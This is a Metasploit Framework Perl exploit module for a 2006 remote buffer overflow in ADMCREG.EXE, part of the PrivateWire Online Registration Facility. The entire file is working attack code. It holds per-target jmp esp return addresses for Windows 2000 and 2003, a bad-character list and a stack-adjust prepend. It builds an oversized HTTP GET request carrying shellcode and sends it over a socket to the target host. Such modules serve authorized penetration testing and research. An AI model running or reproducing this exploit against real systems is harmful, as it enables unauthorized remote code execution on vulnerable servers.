##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

##
# From the author:
# This file may only be distributed as part of the Metasploit Framework.
# Any other use needs a written permission from the author.
##

package Msf::Exploit::privatewire_gateway_win32;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
  'Name'  => 'Private Wire Gateway Buffer Overflow (win32)',
  'Version'  => '$Rev$',
  'Authors' =>
    [
    'Michael Thumann  <mthumann[at]ernw.de>',
    ],
  'Arch'  => [ 'x86' ],
  'OS'    => [ 'win32' ],
  'Priv'  => 1,

  'UserOpts'  =>
    {
    'RHOST' => [1, 'ADDR', 'The target address'],
    'RPORT' => [1, 'PORT', 'The target port', 80],
    'PATH'  => [1, 'DATA', 'Installation Path of Privatewire','C:\Cipgw'],
    },

  'Payload' =>
    {
    'Space'    => 8000,
    'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
    'Prepend'  => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
    },

  'Description'  => Pex::Text::Freeform(qq{
        This exploits a buffer overflow in the ADMCREG.EXE used
        in the PrivateWire Online Registration Facility. .
}),

  'Refs'  =>
    [
    ['BID', '18647'],
    ],

  'DefaultTarget' => 4,
  'Targets' => [
    ['Windows 2000 English SP0', 0x77e3c289], # jmp esp USER32.DLL
    ['Windows 2000 English SP1', 0x77e3cb4c], # jmp esp USER32.DLL
    ['Windows 2000 English SP2', 0x77e3af64], # jmp esp USER32.DLL
    ['Windows 2000 English SP3', 0x77e388a7], # jmp esp USER32.DLL
    ['Windows 2000 English SP4', 0x77e3c256], # jmp esp USER32.DLL
    ['Windows 2003 English SP0/SP1', 0x77d74c94], # jmp esp USER32.DLL
    ['Debugging', 0x41414141], # Crash
    ],

  'Keys' => ['privatewire'],

  'DisclosureDate' => 'June 26 2006',
  };

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Exploit
{
  my $self = shift;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');
  my $target_idx  = $self->GetVar('TARGET');
  my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  my $path        = $self->GetVar('PATH');
  my $path_offset = length($path)-8;

  my $target = $self->Targets->[$target_idx];

  my $pattern = Pex::Text::AlphaNumText(8192);
  my $jmp = # add 25 to ecx and jmp
    "\x6a\x19".
    "\x58".
    "\x01\xc1".
    "\xff\xe1";
  substr($pattern, 0, length($shellcode), $shellcode);
  substr($pattern, 8156- $path_offset, 4, pack('V', $target->[1]));
  substr($pattern, 8160, length($jmp), $jmp);

  my $request = "GET /" . $pattern . " HTTP/1.0\r\n\r\n";

  $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp esp at 0x%.8x...", $target->[1]));

  my $s = Msf::Socket::Tcp->new
    (
    'PeerAddr'  => $target_host,
    'PeerPort'  => $target_port,
    'LocalPort' => $self->GetVar('CPORT'),
    );
  if ($s->IsError) {
    $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
    return;
  }

  $s->Send($request);
  $s->Close();
  return;
}

1;